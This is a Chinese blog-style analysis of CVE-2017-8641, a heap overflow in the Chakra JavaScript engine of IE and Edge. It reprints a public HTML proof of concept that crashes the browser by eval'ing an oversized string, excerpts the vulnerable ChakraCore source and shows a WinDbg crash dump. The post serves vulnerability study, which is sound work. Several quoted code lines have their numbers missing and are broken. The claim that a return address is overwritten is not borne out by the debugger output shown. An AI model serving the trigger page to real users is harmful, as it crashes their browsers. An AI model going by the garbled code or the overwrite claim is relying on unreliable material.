2017年8月8日,CVE官网公布了CVE-2017-8641,在其网上的描述为:

意思是说,黑客可以通过在网页中嵌入恶意构造的javascript代码,使得微软的浏览器(如Edege),在打开这个网页时,造成堆溢出。通过精心构造javascript代码,可以通过浏览器在用户电脑上执行任意代码。受影响的版本包括下列操作系统中的浏览器(IE(9,10,11)和Edge):

1. Windows 7 SP1

2. Windows Server 2008 R2 SP1

3. Windows 8.1

4. Windows RT 8.1

5. Windows Server 2012 and R2

6. Windows 10 Gold, 1511, 1607, 1703

7. Windows Server 2016

最近,这个漏洞的POC被公开了,今天在浏览twiter时,发现有一位外国有人发了一篇推文:

这篇推文里面公开了漏洞的POC,下面是POC代码:

 <html>
<head>
<title> CVE-2017-8641 POC </title>
</head>
<script>
var code = 'a'.repeat(0x55555600);
eval(code);
</script>
</html>

从POC中可以看出,代码通过构造一个超长的字符串(0x55555600),然后用JavaScript语言中的eval函数对这个超长字符串进行解析,eval函数的作用是解析某个字符串并执行其中的代码,有点类似于php中的反序列化。

正是在解析这个超长字符串的过程中,浏览器的缓冲区的返回地址被覆盖,造成了溢出,正如推文中所说,“This is a classic heap overflow when eval a string which large enough in Chakra!”,这是一个典型的堆溢出。

漏洞出现在ChakraCore-master\lib\Runtime\Library\GlobalObject.cpp这个文件中,在处理string时,没有对长度做充分检查,从而导致覆盖边界,导致堆溢出,下面是出错程序的代码:

 ScriptFunction* GlobalObject::DefaultEvalHelper(ScriptContext* scriptContext, const char16 *source, int sourceLength, ModuleID moduleID, uint32 grfscr, LPCOLESTR pszTitle, BOOL registerDocument, BOOL isIndirect, BOOL strictMode)
{
Assert(sourceLength >= );
AnalysisAssert(scriptContext);
if (scriptContext->GetThreadContext()->EvalDisabled())
{
throw Js::EvalDisabledException();
} #ifdef PROFILE_EXEC
scriptContext->ProfileBegin(Js::EvalCompilePhase);
#endif
void * frameAddr = nullptr;
GET_CURRENT_FRAME_ID(frameAddr); HRESULT hr = S_OK;
HRESULT hrParser = S_OK;
HRESULT hrCodeGen = S_OK;
CompileScriptException se;
Js::ParseableFunctionInfo * funcBody = NULL; BEGIN_LEAVE_SCRIPT_INTERNAL(scriptContext);
BEGIN_TRANSLATE_EXCEPTION_TO_HRESULT
{
uint cchSource = sourceLength;
size_t cbUtf8Buffer = (cchSource + ) * ; //OVERFLOW when cchSource large enough!!! ArenaAllocator tempArena(_u("EvalHelperArena"), scriptContext->GetThreadContext()->GetPageAllocator(), Js::Throw::OutOfMemory);
LPUTF8 utf8Source = AnewArray(&tempArena, utf8char_t, cbUtf8Buffer); //Allocate memory on Arena heap with a incorrect but smaller size Assert(cchSource < MAXLONG);
size_t cbSource = utf8::EncodeIntoAndNullTerminate(utf8Source, source, static_cast< charcount_t >(cchSource)); //OOB write HERE!!!
Assert(cbSource + <= cbUtf8Buffer); SRCINFO const * pSrcInfo = scriptContext->GetModuleSrcInfo(moduleID); [...] LEAVE_PINNED_SCOPE();
}
END_TRANSLATE_EXCEPTION_TO_HRESULT(hr);
END_LEAVE_SCRIPT_INTERNAL(scriptContext); #ifdef PROFILE_EXEC
scriptContext->ProfileEnd(Js::EvalCompilePhase);
#endif
THROW_KNOWN_HRESULT_EXCEPTIONS(hr, scriptContext); if (!SUCCEEDED(hrParser))
{
JavascriptError::ThrowParserError(scriptContext, hrParser, &se);
}
else if (!SUCCEEDED(hrCodeGen))
{
[...]
}
else
{ [...] ScriptFunction* pfuncScript = funcBody->IsCoroutine() ?
scriptContext->GetLibrary()->CreateGeneratorVirtualScriptFunction(funcBody) :
scriptContext->GetLibrary()->CreateScriptFunction(funcBody); return pfuncScript;
}
} //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp
__range(, cch * )
size_t EncodeIntoAndNullTerminate(__out_ecount(cch * + ) utf8char_t *buffer, __in_ecount(cch) const char16 *source, charcount_t cch)
{
size_t result = EncodeInto(buffer, source, cch);
buffer[result] = ;
return result;
} //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp
__range(, cch * )
size_t EncodeInto(__out_ecount(cch * ) LPUTF8 buffer, __in_ecount(cch) const char16 *source, charcount_t cch)
{
return EncodeIntoImpl<true>(buffer, source, cch);
} //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp
template <bool cesu8Encoding>
__range(, cchIn * )
size_t EncodeIntoImpl(__out_ecount(cchIn * ) LPUTF8 buffer, __in_ecount(cchIn) const char16 *source, charcount_t cchIn)
{
charcount_t cch = cchIn; // SAL analysis gets confused by EncodeTrueUtf8's dest buffer requirement unless we alias cchIn with a local
LPUTF8 dest = buffer; if (!ShouldFastPath(dest, source)) goto LSlowPath; LFastPath:
while (cch >= )
{
uint32 first = ((const uint32 *)source)[];
if ( (first & 0xFF80FF80) != ) goto LSlowPath;
uint32 second = ((const uint32 *)source)[];
if ( (second & 0xFF80FF80) != ) goto LSlowPath;
*(uint32 *)dest = (first & 0x0000007F) | ((first & 0x007F0000) >> ) | ((second & 0x0000007f) << ) | ((second & 0x007F0000) << ); //OOB write HERE finally!!!
dest += ;
source += ;
cch -= ;
} LSlowPath:
if (cesu8Encoding)
{
[...]
}
else
{
[...]
} return dest - buffer;
}

程序在执行时会覆盖返回地址,

然后造成崩溃:

详细的调试细节如下:

Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64
Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach
Symbol search path is: SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00007ff6`26db0000 00007ff6`26dd5000 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
ModLoad: 00007ffc`fc060000 00007ffc`fc23b000 C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 00007ffc`fb9d0000 00007ffc`fba7e000 C:\Windows\System32\KERNEL32.DLL
ModLoad: 00007ffc`f90a0000 00007ffc`f92e9000 C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffc`f6b90000 00007ffc`f6c0e000 C:\Windows\SYSTEM32\apphelp.dll
ModLoad: 00007ffc`fbbb0000 00007ffc`fbea9000 C:\Windows\System32\combase.dll
ModLoad: 00007ffc`f94c0000 00007ffc`f95b6000 C:\Windows\System32\ucrtbase.dll
ModLoad: 00007ffc`fba80000 00007ffc`fbba5000 C:\Windows\System32\RPCRT4.dll
ModLoad: 00007ffc`f8620000 00007ffc`f868a000 C:\Windows\System32\bcryptPrimitives.dll
ModLoad: 00007ffc`fbfc0000 00007ffc`fc05d000 C:\Windows\System32\msvcrt.dll
ModLoad: 00007ffc`ebd60000 00007ffc`ebdc0000 C:\Windows\SYSTEM32\wincorlib.DLL
ModLoad: 00007ffc`fac50000 00007ffc`fad10000 C:\Windows\System32\OLEAUT32.dll
ModLoad: 00007ffc`f8580000 00007ffc`f861a000 C:\Windows\System32\msvcp_win.dll
ModLoad: 00007ffc`f8560000 00007ffc`f8571000 C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007ffc`dae30000 00007ffc`db1f4000 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\EdgeContent.dll
ModLoad: 00007ffc`f86f0000 00007ffc`f8de2000 C:\Windows\System32\Windows.Storage.dll
ModLoad: 00007ffc`f95c0000 00007ffc`f9661000 C:\Windows\System32\advapi32.dll
ModLoad: 00007ffc`faf10000 00007ffc`faf69000 C:\Windows\System32\sechost.dll
ModLoad: 00007ffc`f97b0000 00007ffc`f9801000 C:\Windows\System32\shlwapi.dll
ModLoad: 00007ffc`fb9a0000 00007ffc`fb9c7000 C:\Windows\System32\GDI32.dll
ModLoad: 00007ffc`f8e40000 00007ffc`f8fc8000 C:\Windows\System32\gdi32full.dll
ModLoad: 00007ffc`fadc0000 00007ffc`faf0a000 C:\Windows\System32\USER32.dll
ModLoad: 00007ffc`f8fd0000 00007ffc`f8fee000 C:\Windows\System32\win32u.dll
ModLoad: 00007ffc`fad10000 00007ffc`fadba000 C:\Windows\System32\shcore.dll
ModLoad: 00007ffc`f84d0000 00007ffc`f851c000 C:\Windows\System32\powrprof.dll
ModLoad: 00007ffc`f8520000 00007ffc`f8535000 C:\Windows\System32\profapi.dll
ModLoad: 00007ffc`eff10000 00007ffc`f0196000 C:\Windows\SYSTEM32\iertutil.dll
ModLoad: 00007ffc`f8400000 00007ffc`f8429000 C:\Windows\SYSTEM32\USERENV.dll
ModLoad: 00007ffc`f3a60000 00007ffc`f3a86000 C:\Windows\SYSTEM32\clipc.dll
ModLoad: 00007ffc`f77d0000 00007ffc`f7801000 C:\Windows\SYSTEM32\ntmarta.dll
ModLoad: 00007ffc`f7f20000 00007ffc`f7f37000 C:\Windows\SYSTEM32\cryptsp.dll
ModLoad: 00007ffc`f7b60000 00007ffc`f7c04000 C:\Windows\SYSTEM32\DNSAPI.dll
ModLoad: 00007ffc`faf70000 00007ffc`fafdc000 C:\Windows\System32\WS2_32.dll
ModLoad: 00007ffc`f9710000 00007ffc`f9718000 C:\Windows\System32\NSI.dll
ModLoad: 00007ffc`f9780000 00007ffc`f97ad000 C:\Windows\System32\IMM32.DLL
ModLoad: 00007ffc`f7b20000 00007ffc`f7b57000 C:\Windows\SYSTEM32\IPHLPAPI.DLL
ModLoad: 00007ffc`f6dc0000 00007ffc`f6f30000 C:\Windows\SYSTEM32\twinapi.appcore.dll
ModLoad: 00007ffc`f83a0000 00007ffc`f83c5000 C:\Windows\SYSTEM32\bcrypt.dll
ModLoad: 00007ffc`f7600000 00007ffc`f7621000 C:\Windows\SYSTEM32\profext.dll
ModLoad: 00007ffc`e85e0000 00007ffc`e8654000 C:\Windows\SYSTEM32\msiso.dll
ModLoad: 00007ffc`f4060000 00007ffc`f4082000 C:\Windows\SYSTEM32\EShims.dll
ModLoad: 00007ffc`efdc0000 00007ffc`efddb000 C:\Windows\SYSTEM32\MPR.dll
ModLoad: 00007ffc`fb410000 00007ffc`fb555000 C:\Windows\System32\ole32.dll
ModLoad: 00007ffc`f6cf0000 00007ffc`f6d85000 C:\Windows\system32\uxtheme.dll
ModLoad: 00007ffc`e7140000 00007ffc`e71e1000 C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
ModLoad: 00007ffc`dc6c0000 00007ffc`ddd71000 C:\Windows\SYSTEM32\edgehtml.dll
ModLoad: 00007ffc`f0b20000 00007ffc`f0b5f000 C:\Windows\SYSTEM32\MLANG.dll
ModLoad: 00007ffc`f5120000 00007ffc`f5259000 C:\Windows\SYSTEM32\wintypes.dll
ModLoad: 00007ffc`dbb80000 00007ffc`dc36b000 C:\Windows\SYSTEM32\chakra.dll
ModLoad: 00007ffc`f5640000 00007ffc`f56b6000 C:\Windows\SYSTEM32\policymanager.dll
ModLoad: 00007ffc`f55a0000 00007ffc`f562f000 C:\Windows\SYSTEM32\msvcp110_win.dll
ModLoad: 00007ffc`f41e0000 00007ffc`f4376000 C:\Windows\SYSTEM32\PROPSYS.dll
ModLoad: 00007ffc`e6230000 00007ffc`e62fb000 C:\Windows\System32\ieproxy.dll
ModLoad: 00007ffc`eb8e0000 00007ffc`eb9e6000 C:\Windows\System32\Windows.UI.dll
ModLoad: 00007ffc`eb570000 00007ffc`eb5f2000 C:\Windows\SYSTEM32\TextInputFramework.dll
ModLoad: 00007ffc`f65d0000 00007ffc`f66b3000 C:\Windows\SYSTEM32\CoreMessaging.dll
ModLoad: 00007ffc`eb600000 00007ffc`eb8d2000 C:\Windows\SYSTEM32\CoreUIComponents.dll
ModLoad: 00007ffc`f1ec0000 00007ffc`f1ed5000 C:\Windows\SYSTEM32\usermgrcli.dll
ModLoad: 00007ffc`ee290000 00007ffc`ee7c1000 C:\Windows\System32\OneCoreUAPCommonProxyStub.dll
ModLoad: 00007ffc`f9810000 00007ffc`fac47000 C:\Windows\System32\shell32.dll
ModLoad: 00007ffc`f8df0000 00007ffc`f8e39000 C:\Windows\System32\cfgmgr32.dll
ModLoad: 00007ffc`ec070000 00007ffc`ec09a000 C:\Windows\SYSTEM32\dwmapi.dll
ModLoad: 00007ffc`e8d00000 00007ffc`e902e000 C:\Windows\SYSTEM32\WININET.dll
ModLoad: 00007ffc`f83d0000 00007ffc`f8400000 C:\Windows\SYSTEM32\SspiCli.dll
ModLoad: 00007ffc`fb020000 00007ffc`fb186000 C:\Windows\System32\msctf.dll
ModLoad: 00007ffc`eea60000 00007ffc`eeb62000 C:\Windows\SYSTEM32\mrmcorer.dll
ModLoad: 00007ffc`e4cf0000 00007ffc`e4d00000 C:\Windows\SYSTEM32\tokenbinding.dll
ModLoad: 00007ffc`ebcc0000 00007ffc`ebd29000 C:\Windows\SYSTEM32\Bcp47Langs.dll
ModLoad: 00007ffc`e9920000 00007ffc`e993b000 C:\Windows\SYSTEM32\ondemandconnroutehelper.dll
ModLoad: 00007ffc`f28b0000 00007ffc`f2987000 C:\Windows\SYSTEM32\winhttp.dll
ModLoad: 00007ffc`f7d80000 00007ffc`f7ddc000 C:\Windows\system32\mswsock.dll
ModLoad: 00007ffc`f3c20000 00007ffc`f3c2b000 C:\Windows\SYSTEM32\WINNSI.DLL
ModLoad: 00007ffc`f01f0000 00007ffc`f03b8000 C:\Windows\SYSTEM32\urlmon.dll
ModLoad: 00007ffc`f8390000 00007ffc`f839b000 C:\Windows\SYSTEM32\CRYPTBASE.DLL
ModLoad: 00007ffc`e5180000 00007ffc`e519a000 C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll
ModLoad: 00007ffc`e2c80000 00007ffc`e2e0a000 C:\Windows\SYSTEM32\ieapfltr.dll
ModLoad: 00007ffc`f5820000 00007ffc`f583d000 C:\Windows\System32\rmclient.dll
ModLoad: 00007ffc`e3e70000 00007ffc`e3e88000 C:\Windows\System32\UiaManager.dll
ModLoad: 00007ffc`e24c0000 00007ffc`e2507000 C:\Windows\system32\dataexchange.dll
ModLoad: 00007ffc`f5cf0000 00007ffc`f5fcf000 C:\Windows\SYSTEM32\d3d11.dll
ModLoad: 00007ffc`f66c0000 00007ffc`f67e2000 C:\Windows\SYSTEM32\dcomp.dll
ModLoad: 00007ffc`f7340000 00007ffc`f73e4000 C:\Windows\SYSTEM32\dxgi.dll
ModLoad: 00007ffc`ed850000 00007ffc`ed8d2000 C:\Windows\system32\twinapi.dll
ModLoad: 00007ffc`df920000 00007ffc`df99a000 C:\Windows\SYSTEM32\windows.ui.core.textinput.dll
ModLoad: 00007ffc`dc620000 00007ffc`dc648000 C:\Windows\SYSTEM32\srpapi.dll
ModLoad: 00007ffc`f92f0000 00007ffc`f94b9000 C:\Windows\System32\CRYPT32.dll
ModLoad: 00007ffc`f8540000 00007ffc`f8551000 C:\Windows\System32\MSASN1.dll
ModLoad: 00007ffc`deaf0000 00007ffc`deb4a000 C:\Windows\System32\Windows.Graphics.dll
ModLoad: 00007ffc`f3ba0000 00007ffc`f3bfd000 C:\Windows\SYSTEM32\ninput.dll
ModLoad: 00007ffc`f6020000 00007ffc`f65c4000 C:\Windows\SYSTEM32\d2d1.dll
ModLoad: 00007ffc`e9a00000 00007ffc`e9cbf000 C:\Windows\SYSTEM32\DWrite.dll
ModLoad: 00007ffc`dc5e0000 00007ffc`dc5ef000 C:\Windows\System32\Windows.Internal.SecurityMitigationsBroker.dll
ModLoad: 00007ffc`eb400000 00007ffc`eb442000 C:\Windows\SYSTEM32\vm3dum64.dll
ModLoad: 00007ffc`eb390000 00007ffc`eb3f7000 C:\Windows\SYSTEM32\D3D10Level9.dll
ModLoad: 00007ffc`f3150000 00007ffc`f31bb000 C:\Windows\System32\oleacc.dll
ModLoad: 00007ffc`dc5d0000 00007ffc`dc5e0000 C:\Windows\system32\msimtf.dll
ModLoad: 00007ffc`e9970000 00007ffc`e99f8000 C:\Windows\system32\directmanipulation.dll
ModLoad: 00007ffc`db710000 00007ffc`db724000 C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll
ModLoad: 00007ffc`dc590000 00007ffc`dc5c8000 C:\Windows\System32\smartscreenps.dll
ModLoad: 00007ffc`e9780000 00007ffc`e9908000 C:\Windows\SYSTEM32\windows.globalization.dll
(2004.11d0): Access violation - code c0000005 (!!! second chance !!!)
chakra!utf8::EncodeIntoImpl<1>+0xb5:
00007ffc`dbdb69e5 418910 mov dword ptr [r8],edx ds:0000023d`22d81000=????????
0:016> r
rax=0000000000000061 rbx=000000bb058fb4f0 rcx=0000000000006100
rdx=0000000061616161 rsi=0000000000000002 rdi=000000bb058fb000
rip=00007ffcdbdb69e5 rsp=000000bb058fb700 rbp=0000023d1f937b60
r8=0000023d22d81000 r9=0000023d330e4fc8 r10=000000005555462c
r11=0000023d22d80030 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=000000bb058fbd00
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200
chakra!utf8::EncodeIntoImpl<1>+0xb5:
00007ffc`dbdb69e5 418910 mov dword ptr [r8],edx ds:0000023d`22d81000=????????
0:016> !address r8
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\vm3dum64.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\ole32.dll - Usage: <unclassified>
Allocation Base: 0000023d`22d80000
Base Address: 0000023d`22d81000
End Address: 0000023d`22d85000
Region Size: 00000000`00004000
Type: 00020000 MEM_PRIVATE
State: 00002000 MEM_RESERVE
Protect: 00000000 0:016> !address r8-1
Usage: <unclassified>
Allocation Base: 0000023d`22d80000
Base Address: 0000023d`22d80000
End Address: 0000023d`22d81000
Region Size: 00000000`00001000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE 0:016> db 23d`22d80000
0000023d`22d80000 01 00 00 00 00 00 00 00-80 77 93 1f 3d 02 00 00 .........w..=...
0000023d`22d80010 00 00 00 00 00 00 00 00-d0 0f 00 00 00 00 00 00 ................
0000023d`22d80020 00 00 d8 22 3d 02 00 00-00 00 00 00 00 00 00 00 ..."=...........
0000023d`22d80030 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80040 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80050 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80060 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80070 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0:016> kb
RetAddr : Args to Child : Call Site
00007ffc`dbbf2611 : 0000023d`22d80030 0000023d`330e3020 00000000`55555600 00000235`00000004 : chakra!utf8::EncodeIntoImpl<1>+0xb5
00007ffc`dbb98201 : 0000023d`1f937b60 0000023d`330e3020 0000023d`55555600 000000bb`00000000 : chakra!Js::GlobalObject::DefaultEvalHelper+0x171
00007ffc`dbb97fb8 : 0000023d`22de0000 00007ffc`dc2c9f80 0000023d`00000000 0000023d`22ddc000 : chakra!Js::GlobalObject::VEval+0x231
00007ffc`dbb97ecd : 000000bb`058fbd40 0000023d`22ddb5c0 0000023d`1f934ba0 000000bb`058fbd00 : chakra!Js::GlobalObject::EntryEvalHelper+0xc8
00007ffc`dbdf6be3 : 0000023d`22ddb5c0 00000000`18000003 0000023d`22df0020 0000023d`22df9460 : chakra!Js::GlobalObject::EntryEval+0x7d
00007ffc`dbce6bf3 : 0000023d`1f934ba0 00000000`00000018 000000bb`058fbde8 0000023d`22ddc000 : chakra!amd64_CallFunction+0x93
00007ffc`dbba71ac : 0000023d`22ddb5c0 00007ffc`dbb97e50 000000bb`058fbe10 000000bb`058fbfa0 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83
00007ffc`dbba77b4 : 000000bb`058fbfa0 0000023d`22ecc053 0000023d`22ddb5c0 00007ffc`00000008 : chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIExtendedFlags<Js::LayoutSizePolicy<0> > > >+0x114
00007ffc`dbc84920 : 000000bb`058fbfa0 0000023d`22ecc053 0000023d`058fbfa0 0000023d`22ecc061 : chakra!Js::InterpreterStackFrame::OP_ProfiledReturnTypeCallIExtendedFlags<Js::OpLayoutT_CallIExtendedFlags<Js::LayoutSizePolicy<0> > >+0x5c
00007ffc`dbc7ff2c : 000000bb`058fbfa0 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessProfiled+0x1250
00007ffc`dbd180cc : 000000bb`058fbfa0 0000023d`33040000 000000bb`058fc150 00000000`00000001 : chakra!Js::InterpreterStackFrame::Process+0x12c
00007ffc`dbd17be1 : 0000023d`22e00420 000000bb`058fc330 0000023d`33060fc2 000000bb`058fc348 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4ac
0000023d`33060fc2 : 000000bb`058fc380 00000000`00000000 00000000`00000000 00007ffc`dbdf6750 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x51
00007ffc`dbdf6be3 : 0000023d`22e00420 00000000`00000000 00000000`00000000 00000000`00000000 : 0x23d`33060fc2
00007ffc`dbce6bf3 : 0000023d`1f934ba0 00000000`00000000 0000023d`1f940c90 00007ffc`dbcfa837 : chakra!amd64_CallFunction+0x93
00007ffc`dbd11810 : 0000023d`22e00420 00007ffc`dbdf6df0 000000bb`058fc480 0000023d`1f937b60 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83
00007ffc`dbd10a37 : 0000023d`22e00420 000000bb`058fc570 0000023d`1f937b60 00007ffc`fc027100 : chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x100
00007ffc`dbdd907e : 0000023d`22e00420 000000bb`058fc5d0 0000023d`1f937b60 0000023d`1f943000 : chakra!Js::JavascriptFunction::CallRootFunction+0x4b
00007ffc`dbd3cd54 : 0000023d`22e00420 000000bb`058fc610 00000000`00000000 000000bb`058fc628 : chakra!ScriptSite::CallRootFunction+0x6a
00007ffc`dbcd1b49 : 0000023d`1f937a50 0000023d`22e00420 000000bb`058fc6c0 00000000`00000000 : chakra!ScriptSite::Execute+0x124
00007ffc`dbcd2e8e : 0000023d`1f934750 000000bb`058fcbc8 000000bb`058fcc00 000000bb`80000082 : chakra!ScriptEngine::ExecutePendingScripts+0x1a5
00007ffc`dbcd3121 : 0000023d`1f934750 0000023d`2101f5c4 00000000`00000000 00000235`1f594330 : chakra!ScriptEngine::ParseScriptTextCore+0x436
00007ffc`dcac3c75 : 0000023d`1f9347a0 0000023d`2101f5c4 00000235`00000042 00000000`00000000 : chakra!ScriptEngine::ParseScriptText+0xb1
00007ffc`dcac3abe : 00000000`00000000 000000bb`058fca99 00000235`1f594260 00000235`00000000 : edgehtml!CJScript9Holder::ParseScriptText+0x119
00007ffc`dcac35d7 : 00000000`00000000 00000235`1f594260 00000235`1f51c1c0 00000235`1f5941b0 : edgehtml!CScriptCollection::ParseScriptText+0x202
00007ffc`dcac2f07 : 00000235`1f530c01 00000235`1f58c100 00000235`00000082 00007ffc`00000000 : edgehtml!CScriptData::CommitCode+0x357
00007ffc`dcb82f8d : 00000000`ffffffff 00000235`1f51c460 00000000`ffffffff 00000000`00000000 : edgehtml!CScriptData::Execute+0x20f
00007ffc`dc9c43d4 : 00000000`00000000 00000235`1f56c440 00000000`00000001 00007ffc`dcb7ceb9 : edgehtml!CHtmScriptParseCtx::Execute+0x7d
00007ffc`dc9c34a1 : 00000235`1f530c00 00000000`00000000 00000235`1f530c00 00000235`1f50c8c0 : edgehtml!CHtmParseBase::Execute+0x204
00007ffc`dcb7d23b : 00000000`04cd60c0 00000235`1f500000 00000235`1f5600b0 00000235`1f50c8c0 : edgehtml!CHtmPost::Exec+0x1e1
00007ffc`dcb7d11f : 00000235`1f50c8c0 00000000`04cd60c0 0000023d`203725a0 00000000`00000000 : edgehtml!CHtmPost::Run+0x2f
00007ffc`dcb7cfd3 : 00000235`1f500000 00000012`c245be01 00000000`00000002 00000235`1f541680 : edgehtml!PostManExecute+0x63
00007ffc`dcb7ce6d : 00000235`1f50c8c0 00000012`c245be61 0000023d`00000000 00007ffc`eff34779 : edgehtml!PostManResume+0xa3
00007ffc`dcb8b353 : 00000235`1f528600 0000023d`20350350 00000000`00000000 00000000`00000000 : edgehtml!CHtmPost::OnDwnChanCallback+0x3d
00007ffc`dcb650db : 00000235`1f5082d0 0000023d`1f927e73 0000023d`1f902200 000000bb`058fd150 : edgehtml!CDwnChan::OnMethodCall+0x23
00007ffc`dc9f1706 : 0000023d`1f902728 00000235`1f541680 0000023d`1f902260 000000bb`058fd180 : edgehtml!GWndAsyncTask::Run+0x1b
00007ffc`dcb3a860 : 0000002b`dd92f8c0 00000235`1f5416e0 00000235`1f5600b0 00007ffc`dca99138 : edgehtml!HTML5TaskScheduler::RunReadiedTask+0x236
00007ffc`dcb3a683 : 0000023d`20350350 00000000`00000000 00000000`00000002 00000235`1f508170 : edgehtml!TaskSchedulerBase::RunReadiedTasksInTaskQueueWithCallback+0x70
00007ffc`dc9f22b3 : 000000bb`058fd630 00000000`00008002 00000235`1f508170 00007ffc`fade47df : edgehtml!HTML5TaskScheduler::RunReadiedTasks+0xa3
00007ffc`dc9f07a5 : 00000000`00008002 00000235`1f500000 0000d687`35232df0 00000000`00000002 : edgehtml!NormalPriorityAtInputEventLoopDriver::DriveRegularPriorityTaskExecution+0x53
00007ffc`fadcbc50 : 00000000`001b029a 00000000`00000001 00000000`00000002 00000000`80000012 : edgehtml!GlobalWndProc+0x125
00007ffc`fadcb5cf : 00000235`1de0b5c0 00007ffc`dc9f0680 00000000`001b029a 00000000`001b029a : USER32!UserCallWinProcCheckWow+0x280
00007ffc`dae36d0e : 000000bb`058fd5d0 00000000`00000000 0000023d`2030b260 00000000`00000000 : USER32!DispatchMessageWorker+0x19f
00007ffc`dae4eecb : 00000000`00000000 00000000`00000001 00000235`1d929e40 00000235`1d8d4af0 : EdgeContent!CBrowserTab::_TabWindowThreadProc+0x3ee
00007ffc`e85eb4a8 : 00000000`00000000 00000235`1d928f50 00000000`00000000 00000000`00000000 : EdgeContent!LCIETab_ThreadProc+0x2ab
00007ffc`fb9e2774 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msiso!_IsoThreadProc_WrapperToReleaseScope+0x48
00007ffc`fc0d0d61 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
0:016> db r8 l-100
0000023d`22d80f00 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f10 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f20 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f30 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f40 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f50 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f60 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f70 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f80 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80f90 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80fa0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80fb0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80fc0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80fd0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80fe0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0000023d`22d80ff0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0:016> r
rax=0000000000000061 rbx=000000bb058fb4f0 rcx=0000000000006100
rdx=0000000061616161 rsi=0000000000000002 rdi=000000bb058fb000
rip=00007ffcdbdb69e5 rsp=000000bb058fb700 rbp=0000023d1f937b60
r8=0000023d22d81000 r9=0000023d330e4fc8 r10=000000005555462c
r11=0000023d22d80030 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=000000bb058fbd00
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200
chakra!utf8::EncodeIntoImpl<1>+0xb5:
00007ffc`dbdb69e5 418910 mov dword ptr [r8],edx ds:0000023d`22d81000=????????

